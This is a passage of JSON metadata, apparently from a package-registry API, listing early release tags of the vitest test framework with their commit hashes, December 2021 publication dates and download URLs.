itest-dev/vitest/tar.gz/v0.0.65","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.65","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.65","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.65/manifests"},{"name":"v0.0.64","sha":"dd1e94069ca7263c3b9358fb5193e6a30326150f","kind":"tag","published_at":"2021-12-12T01:22:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.64","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.64","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.64/manifests"},{"name":"v0.0.63","sha":"fec6238026481b868213168f2e65c1a6b82b42e4","kind":"tag","published_at":"2021-12-12T00:50:58.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.63","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.63","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.63","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.63/manifests"},{"name":"v0.0.62","sha":"82f7ca704a923869591801e6739691208ec5aed4","kind":"tag","published_at":"2021-12-11T20:03:50.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.62","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.62","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.62","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.62/manifests"},{"name":"v0.0.61","sha":"9b3e046f6cf8874ebacdf0532eef13ac46836b10","kind":"tag","published_at":"2021-12-11T16:49:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.61","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.61","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.61","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.61/manifests"},{"name":"v0.0.60","sha":"c2bab7588d12b6dfda496cb3bea00be82a8638ac","kind":"tag","published_at":"2021-12-11T02:07:40.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.60","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.60","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.60/manifests"},{"name":"v0.0.59","sha":"401dc61d46972df9fc643fac8cfbaad986b8520c","kind":"tag","published_at":"2021-12-11T01:49:45.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.59","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.59","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.59/manifests"},{"name":"v0.0.58","sha":"7e1b0641bebf368f631325014cb9a9768392c896","kind":"tag","published_at":"2021-12-11T00:28:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.58","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.58","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.58","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.58/manifests"},{"name":"v0.0.57","sha":"a1dd88d373446cd21003439deb657807fcba8a70","kind":"tag","published_at":"2021-12-10T20:59:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.57","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.57","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.57/manifests"},{"name":"v0.0.56","sha":"9a199a4a8a8d32697f6451f71a1b8e54dabffd09","kind":"tag","published_at":"2021-12-10T20:29:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.56","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.56","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.56/manifests"},{"name":"v0.0.55","sha":"b01bf63bd1f43c03a810def94ba04ff1af6a67c0","kind":"tag","published_at":"2021-12-10T20:07:02.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.55","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.55","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.55/manifests"},{"name":"v0.0.54","sha":"c28d2c0fd39a93c255db732949b6d9b2bdd7b3f6","kind":"tag","published_at":"2021-12-10T19:55:32.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.54","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.54","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.54","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.54/manifests"},{"name":"v0.0.53","sha":"ae59b569891b07828bb92f2d2db82b178df73f2b","kind":"tag","published_at":"2021-12-10T17:54:48.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.53","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.53","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.53/manifests"},{"name":"v0.0.52","sha":"a6c37e0ecda9f5d6923da73f0f81b0fa5e32a30e","kind":"tag","published_at":"2021-12-10T17:44:51.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.52","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.52","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.52/manifests"},{"name":"v0.0.51","sha":"0bef06186952ebfe0a191b7871265e22ef9d08b8","kind":"tag","published_at":"2021-12-10T11:13:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.51","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.51","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.51/manifests"},{"name":"v0.0.50","sha":"b3618334de1fe658f83b1d587919448ffbe9b190","kind":"tag","published_at":"2021-12-10T06:39:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.50","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.50","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.50/manifests"},{"name":"v0.0.49","sha":"b03019d1285718f961d96f64c4228079bc6cb9ea","kind":"tag","published_at":"2021-12-10T06:34:51.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.49","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.49","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.49/manifests"},{"name":"v0.0.48","sha":"a1355a24870212ae0b2ed61e67027ec805906b62","kind":"tag","published_at":"2021-12-09T17:00:28.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.48","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.48","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.48/manifests"},{"name":"v0.0.47","sha":"9564a5e6fc4af41f76ba718f174b0fb9f4fc436b","kind":"tag","published_at":"2021-12-09T16:33:19.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.47","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.47","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.47/manifests"},{"name":"v0.0.46","sha":"f25bf1bd4d2b3595edb75b724e11a18373a9cec0","kind":"tag","published_at":"2021-12-09T13:39:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.46","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.46","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.46/manifests"},{"name":"v0.0.45","sha":"790386f8f81b8871c46bd4f8167f7828f5e517d8","kind":"tag","published_at":"2021-12-09T12:55:24.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.45","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.45","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.45/manifests"},{"name":"v0.0.44","sha":"3fe83b087bc25fee52e81c1479a1d7191e354429","kind":"tag","published_at":"2021-12-09T12:41:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.44","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.44","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.44/manifests"},{"name":"v0.0.43","sha":"47a9057db6a9fbe2a35308f9c8e7cf850a43cb6d","kind":"tag","published_at":"2021-12-09T12:23:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.43","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.43","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.43/manifests"},{"name":"v0.0.42","sha":"fca6af26fd8ef25c614ca61e24dccbcfb8b3fc90","kind":"tag","published_at":"2021-12-09T11:47:16.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.42","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.42","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.42/manifests"},{"name":"v0.0.41","sha":"a2db06cbed66e521fec17f0107fb84a02438daa2","kind":"tag","published_at":"2021-12-09T06:50:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.41","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.41","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.41/manifests"},{"name":"v0.0.40","sha":"23f33263331581dd2e81d87fba9f7482e4af85f6","kind":"tag","published_at":"2021-12-09T06:05:13.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.40","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.40/manifests"},{"name":"v0.0.39","sha":"caec9700ea05e1c12a867173905e3b3ed9b3da04","kind":"tag","published_at":"2021-12-08T20:30:15.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.39","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.39/manifests"},{"name":"v0.0.38","sha":"a03052358301a5f48d942ca34ef64f9fb5655c96","kind":"tag","published_at":"2021-12-08T16:01:08.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.38","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.38/manifests"},{"name":"v0.0.37","sha":"665fb1a5b7891e3940ed2994b1f5909a19b83fbb","kind":"tag","published_at":"2021-12-08T15:53:17.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.37","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.37/manifests"},{"name":"v0.0.36","sha":"4f4818e48967b7d601bff0a1370bd39b392dff10","kind":"tag","published_at":"2021-12-08T13:35:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.36","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.36/manifests"},{"name":"v0.0.35","sha":"fe42d27332ace69cb7bb335cea469d7bb572ce45","kind":"tag","published_at":"2021-12-08T13:28:16.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.35","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.35/manifests"},{"name":"v0.0.34","sha":"26fb2fd647e9d8b0b7daf2f081a1ed6dd7a2ab97","kind":"tag","published_at":"2021-12-08T07:54:03.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.34","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.34/manifests"},{"name":"v0.0.33","sha":"356943e872d5dbc9249f9d3c0faa479d1161c867","kind":"tag","published_at":"2021-12-07T18:22:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.33","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.33/manifests"},{"name":"v0.0.32","sha":"91592a997806016a325ef107f0c77e2914ef4a08","kind":"tag","published_at":"2021-12-07T18:02:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.32","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.32/manifests"},{"name":"v0.0.31","sha":"90a288447d9280a3e59e6924f0b565b948761aa1","kind":"tag","published_at":"2021-12-07T16:05:01.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.31","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.31/manifests"},{"name":"v0.0.30","sha":"c8696d354e5806d17e7af6d65678cd5253be6f3d","kind":"tag","published_at":"2021-12-07T14:41:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.30","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.30/manifests"},{"name":"v0.0.29","sha":"cd830081f7362bd3a371133bb237c085cd930e35","kind":"tag","published_at":"2021-12-07T09:12:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.29","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.29/manifests"},{"name":"v0.0.28","sha":"dad96ffda44e695033549d4b5c895e8e11d51e92","kind":"tag","published_at":"2021-12-06T21:53:31.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.28","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.28/manifests"},{"name":"v0.0.27","sha":"1fad276fed0eeb43fb463145c0d845457bb69ead","kind":"tag","published_at":"2021-12-06T17:34:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.27","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.27/manifests"},{"name":"v0.0.26","sha":"e6d23d72858f6ff3306b0207b15c3c6717371561","kind":"tag","published_at":"2021-12-06T17:17:00.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.26","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.26/manifests"},{"name":"v0.0.25","sha":"899b5de4d3b6afaaf0aa02ff7a59f16b3a1d7720","kind":"tag","published_at":"2021-12-06T17:07:17.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.25","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.25/manifests"},{"name":"v0.0.24","sha":"fa8bac2926a2f7dad6a1ecee730ff4c7cee5cb64","kind":"tag","published_at":"2021-12-06T09:49:45.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.24","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.24/manifests"},{"name":"v0.0.23","sha":"118a6cde300034fa54cc4485de896a9389065bdd","kind":"tag","published_at":"2021-12-05T22:27:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.23","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.23/manifests"},{"name":"v0.0.22","sha":"69f24a29949126ebc3f63402ed14e8b2b4d1fb44","kind":"tag","published_at":"2021-12-05T19:31:43.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.22","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.22/manifests"},{"name":"v0.0.21","sha":"355cdcf7bcb964570296e72a5f05e7b162403dd7","kind":"tag","published_at":"2021-12-05T17:19:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.21","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.21/manifests"},{"name":"v0.0.20","sha":"43ec5a0e1a826cc18f8a06ef398016a0a9fcdc10","kind":"tag","published_at":"2021-12-05T16:38:11.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.20","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.20/manifests"},{"name":"v0.0.19","sha":"b139bc011fec3bdbbb14522973135cf0675546cf","kind":"tag","published_at":"2021-12-05T16:06:43.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.19","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.19/manifests"},{"name":"v0.0.18","sha":"b56cee92e7564df72269eaeb8e6523c174f88596","kind":"tag","published_at":"2021-12-05T15:42:46.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.18","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.18/manifests"},{"name":"v0.0.17","sha":"7b02375727e3ee04e20ac4e9b3f25b42f5f7c4dc","kind":"tag","published_at":"2021-12-05T14:40:02.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.17","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.17/manifests"},{"name":"v0.0.16","sha":"60bad0c0690fce1dd62438f90047c3069b3413a8","kind":"tag","published_at":"2021-12-05T09:35:49.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.16","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.16/manifests"},{"name":"v0.0.15","sha":"9e0df3edfc